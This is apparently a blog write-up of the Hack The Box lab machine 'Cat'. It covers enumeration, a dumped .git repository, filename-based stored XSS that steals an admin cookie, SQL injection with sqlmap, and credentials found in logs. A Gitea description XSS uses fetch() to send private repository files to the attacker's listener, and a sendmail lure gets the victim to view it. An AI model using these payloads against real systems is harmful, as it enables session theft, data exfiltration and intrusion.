Post

Cat Writeup

Writeup of "Cat" machine from Hackthebox

Cat Writeup

Enumeration

Let’s begin with nmap scan:

nmap -A -Pn -p- 10.129.60.229 -v

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Adding the IP to /etc/hosts:

1
2
3
4
5
6
7
8
9
10
127.0.0.1       localhost
127.0.1.1       riminux

10.129.60.229 cat.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.1.1 riminux

Visiting http://cat.htb main page:

Also ran dirsearch --url http://cat.htb in the background, found a few interesting paths:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Target: http://cat.htb/

[12:02:10] Starting: 
[12:02:12] 301 -  301B  - /.git  ->  http://cat.htb/.git/                   
[12:02:12] 403 -  272B  - /.git/
[12:02:12] 200 -    7B  - /.git/COMMIT_EDITMSG
[12:02:12] 403 -  272B  - /.git/branches/
[12:02:12] 200 -   92B  - /.git/config
[12:02:12] 200 -   73B  - /.git/description                                 
[12:02:12] 200 -   23B  - /.git/HEAD
[12:02:12] 403 -  272B  - /.git/hooks/                                      
[12:02:12] 200 -    2KB - /.git/index                                       
[12:02:12] 403 -  272B  - /.git/logs/                                       
[12:02:12] 403 -  272B  - /.git/info/                                       
[12:02:12] 200 -  240B  - /.git/info/exclude
[12:02:12] 200 -  150B  - /.git/logs/HEAD
[12:02:12] 301 -  311B  - /.git/logs/refs  ->  http://cat.htb/.git/logs/refs/
[12:02:12] 301 -  317B  - /.git/logs/refs/heads  ->  http://cat.htb/.git/logs/refs/heads/
[12:02:12] 200 -  150B  - /.git/logs/refs/heads/master
[12:02:12] 403 -  272B  - /.git/objects/                                    
[12:02:12] 403 -  272B  - /.git/refs/
[12:02:12] 200 -   41B  - /.git/refs/heads/master                           
[12:02:12] 301 -  312B  - /.git/refs/heads  ->  http://cat.htb/.git/refs/heads/
[12:02:12] 301 -  311B  - /.git/refs/tags  ->  http://cat.htb/.git/refs/tags/
[12:02:13] 403 -  272B  - /.ht_wsr.txt                                      
[12:02:13] 403 -  272B  - /.htaccess.bak1                                   
[12:02:13] 403 -  272B  - /.htaccess.orig                                   
[12:02:13] 403 -  272B  - /.htaccess.sample
[12:02:13] 403 -  272B  - /.htaccess.save
[12:02:13] 403 -  272B  - /.htaccessBAK                                     
[12:02:13] 403 -  272B  - /.htaccess_extra
[12:02:13] 403 -  272B  - /.htaccess_sc
[12:02:13] 403 -  272B  - /.htaccess_orig
[12:02:13] 403 -  272B  - /.htaccessOLD
[12:02:13] 403 -  272B  - /.htaccessOLD2
[12:02:13] 403 -  272B  - /.htm                                             
[12:02:13] 403 -  272B  - /.html                                            
[12:02:13] 403 -  272B  - /.htpasswds                                       
[12:02:13] 403 -  272B  - /.httr-oauth                                      
[12:02:13] 403 -  272B  - /.htpasswd_test
[12:02:14] 403 -  272B  - /.php                                             
[12:02:18] 302 -    1B  - /admin.php  ->  /join.php                         
[12:02:27] 200 -    1B  - /config.php                                       
[12:02:28] 301 -  300B  - /css  ->  http://cat.htb/css/                     
[12:02:33] 301 -  300B  - /img  ->  http://cat.htb/img/                     
[12:02:36] 302 -    0B  - /logout.php  ->  /                                
[12:02:46] 403 -  272B  - /server-status                                    
[12:02:46] 403 -  272B  - /server-status/
[12:02:54] 403 -  272B  - /uploads/                                         
[12:02:54] 301 -  304B  - /uploads  ->  http://cat.htb/uploads/

We’ll come back to this a bit later

Initial Foothold

Site doesn’t show much, just a sign up page. Made an account and logged in:

After logging in there’s an option to register a cat for the contest. Filled in random details, clicked Register Cat, got “Cat has been successfully sent for inspection.”:

Sounds like an admin reviews submissions on their end, good spot for stored XSS to steal cookies. Set up nc -lvnp 1234 and put this in the Cat Name field:

1
<script>document.location='http://<tun0_IP>:1234/cookiegrab.php?c='+document.cookie</script>

Got an error, “Your entry contains invalid characters.” :(

So something’s up with the payload, probably some filtering server side.

Going back to dirsearch, there’s a /.git directory. Dumped it with git-dumper http://cat.htb/.git . and got the source:

Let’s check contest.php first, probably has the filtering:

1
2
3
4
5
6
7
8
9
10
11
12
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}
...
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
    contains_forbidden_content($age, $forbidden_patterns) ||
    contains_forbidden_content($birthdate, $forbidden_patterns) ||
    contains_forbidden_content($weight, $forbidden_patterns)) {
    $error_message = "Your entry contains invalid characters.";
}

cat_name, age, birthdate and weight all get checked against this regex before hitting the DB, explains the error from before. Blocked symbols: + * { } ' , ; < > ( ) [ ] / :

None of these fields cover the uploaded filename though, so tried XSS there instead. Payload:

1
x.jpg\" onerror=\"document.location='http:'+String.fromCharCode(47,47)+'10.10.14.182:4444'+String.fromCharCode(47)+document.cookie\" x=\"y.jpg

Sent it via Burp as the filename:

Got a cookie back on nc -lvnp 4444:

Using that cookie unlocks the admin tab:

Admin panel has view, accept and delete cats, each its own php script. accept_cat.php has a SQLi:

1
2
3
$cat_name = $_POST['catName'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

No sanitization, no prepare/bind. cat_name is filtered on contest.php but not here, so via the XSS I can just POST straight to accept_cat.php with any catName.

Intercepted the accept cat request and saved it in Burp: config.php from git dump confirmed sqlite3, so ran: sqlmap -r req --dump --batch --dbms=sqlite

Dumped the users table, email/hash/username:

1
2
3
4
5
6
7
8
9
10
| 1       | [email protected]            | d1bbba3670feb9435c9841e46e60ee2f     | axel                                                                                           |
| 2       | [email protected]      | ac369922d560f17d6eeb8b2c7dec498c     | rosa                                                                                           |
| 3       | [email protected] | 42846631708f69c00ec0c0a8aa4a92ad     | robert                                                                                         |
| 4       | [email protected] | 39e153e825c4a3d314a0dc7f7475ddbe     | fabian                                                                                         |
| 5       | [email protected]        | 781593e060f8d065cd7281c5ec5b4b86     | jerryson                                                                                       |
| 6       | [email protected]          | 1b6dce240bbfbc0905a664ad199e18f8     | larry                                                                                          |
| 7       | [email protected]     | c598f6b844a36fa7836fba0835f1f6       | royer                                                                                          |
| 8       | [email protected]          | e41ccefa439fc454f7eadbf1f139ed8a     | peter                                                                                          |
| 9       | [email protected]           | 24a8ec003ac2e1b3c5953a6f95f8f565     | angel                                                                                          |
| 10      | [email protected]          | 88e4dceccd48820cf77b5cf6c08698ad     | jobert

Threw the hashes into crackstation, cracked rosa:soyunaprincesarosa

SSH’d in with those creds, ssh [email protected], ran id and ls /home to check users:

axel and jobert look interesting. rosa’s in the adm group so can read /var/log. cd /var/log, ran grep -rn './' -e 'axel' and found this in access.log.1:

1
./apache2/access.log.1:1061:127.0.0.1 - - [31/Jan/2025:12:30:03 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

axel:aNdZwgC4tI9gnVXv_e3Q

su axel worked. Got the user flag.

Privilege Escalation

After enumeration, found mail for axel from rosa: cat /var/mail/axel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
From [email protected]  Sat Sep 28 04:51:50 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <[email protected]>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From [email protected]  Sat Sep 28 05:05:28 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
        for <[email protected]>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
        for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

port forwarded, so I could check Gitea on my machine: ssh -L 3000:localhost:3000 [email protected]

Went to localhost:3000 and signed in with axel:aNdZwgC4tI9gnVXv_e3Q. Exploring repos, but can’t see any as axel:

Mail said there’s a private repo, important details in /administrator/Employee-management/raw/branch/main/README.md. Need to read that somehow.

Gitea footer shows version 1.22.0, which has this exploit. Someone just needs to view the repo’s description for it to trigger. So the plan: create a repo, put XSS in the description, get a victim to view it and send me the README.md contents, same trick as with the filename before. Mail said to email jobert about the repo, so he’s the target.

Created a repo named “test” with this description:

1
2
3
4
5
6
7
8
9
10
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md")
  .then(response => response.text())
  .then(data => {
    const encodedData = encodeURIComponent(btoa(unescape(encodeURIComponent(data))));
    fetch("http://10.10.14.182:1234/?d=" + encodedData)
      .then(response => response.text())
      .then(result => alert("Data successfully sent!"));
  })'>
  Click here :)
</a>

Also had to upload a file for the description to actually render:

Then in axel ssh session, ran this command:

1
echo -e "Subject: test\n\n Click http://localhost:3000/axel/test" | sendmail jobert@localhost

Got captured contents on nc -lvnp 1234:

Base64 decoded it, nothing interesting:

Now it’s a guessing game what file to read next. Started with index.php since the site’s in PHP:

1
2
3
4
5
6
7
8
9
10
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php")
  .then(response => response.text())
  .then(data => {
    const encodedData = encodeURIComponent(btoa(unescape(encodeURIComponent(data))));
    fetch("http://10.10.14.182:1234/?d=" + encodedData)
      .then(response => response.text())
      .then(result => alert("Data successfully sent!"));
  })'>
  Click here :)
</a>

Same steps again, got something else on nc -lvnp 1234:

Decoded it, revealed creds admin:IKw75eR0MR7CMIxhH0:

Tried these creds with su root, worked. Got root and its flag.

This post is licensed under CC BY 4.0 by the author.

© riminux. Some rights reserved.

Trending Tags